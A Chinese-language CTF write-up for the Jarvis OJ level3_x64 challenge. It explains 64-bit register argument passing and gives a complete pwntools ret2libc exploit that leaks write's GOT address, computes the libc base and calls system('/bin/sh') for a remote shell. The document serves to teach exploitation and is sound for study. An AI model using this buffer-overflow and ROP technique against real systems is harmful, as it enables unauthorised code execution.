题目信息

nc pwn2.jarvisoj.com 9883

Hint1: 本题附件已更新,请大家重新下载以免影响解题。

level3_x64.rar.8c74c402b190ac3fbef5a9ae540c40de

64位elf,只开了NX,并且给出了libc文件

静态分析

IDA F5,首先看elf文件,和level3一样,明显的溢出,但程序中没有直接的system和”/bin/sh”

给出的libc文件中有这两个

那么思路就和level3类似,leak之后计算地址,执行system

区别同样只在于32位和64位的栈上

在32位程序运行中,函数参数直接压入栈中

  • 调用函数时栈的结构为:调用函数地址->函数的返回地址->参数n->参数n-1->···->参数1

在64位程序运行中,参数传递需要寄存器

  • 64位参数传递约定:前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9中
  • 参数超过六个时,从第七个开始压入栈中

exploit

构造exp

  • write函数三个参数,需要rdi,rsi和rdx
  • system函数只需要rdi即可

ROPgadget查找可用gadget:

存在pop rdi和rsi的gadget,但没有rdx

在write函数中,rdx即第三个参数为长度,第二个参数是一个内存地址,64位系统下长度为8,那么如果rdx在这个时候大于等于8的话就不需要去刻意处理

使用gdb简单调试,发现执行完read后的rdx为0x200,满足条件,那么就不需要去考虑rdx

构造exp代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

elf = ELF('./level3_x64')
libc = ELF('./libc-2.19.so')

sh = remote('pwn2.jarvisoj.com', 9883)
# sh = process('./level3_x64')
context.arch = 'amd64'
# context.log_level = 'debug'

write_plt = elf.plt["write"]
write_got = elf.got["write"]
vuln_func = elf.symbols["vulnerable_function"]
write_libc = libc.symbols["write"]
sys_libc = libc.symbols["system"]
bin_sh_libc = libc.search("/bin/sh").next()
pop_rdi = 0x00000000004006b3
pop_rsi_r15 = 0x00000000004006b1

payload1 = 'A' * 0x88
# write(STDOUT,write_got,rdx)
# ret = vuln_func
# rdi = 1
payload1 += p64(pop_rdi) + p64(1)
# rsi = write_got
# r15 = temp
payload1 += p64(pop_rsi_r15) + p64(write_got) + p64(0xdeadbeef)
payload1 += p64(write_plt) + p64(vuln_func)

sh.recvline()
sh.sendline(payload1)

write_addr = u64(sh.recv(8))
libc_base = write_addr - write_libc
sys_addr = libc_base + sys_libc
bin_sh_addr = libc_base + bin_sh_libc

payload2 = 'A' * 0x88
# system("bin/sh")
# ret = vuln_func
# rdi = bin_sh_addr
payload2 += p64(pop_rdi) + p64(bin_sh_addr)
payload2 += p64(sys_addr) + p64(vuln_func)

sh.sendline(payload2)
sh.interactive()

getflag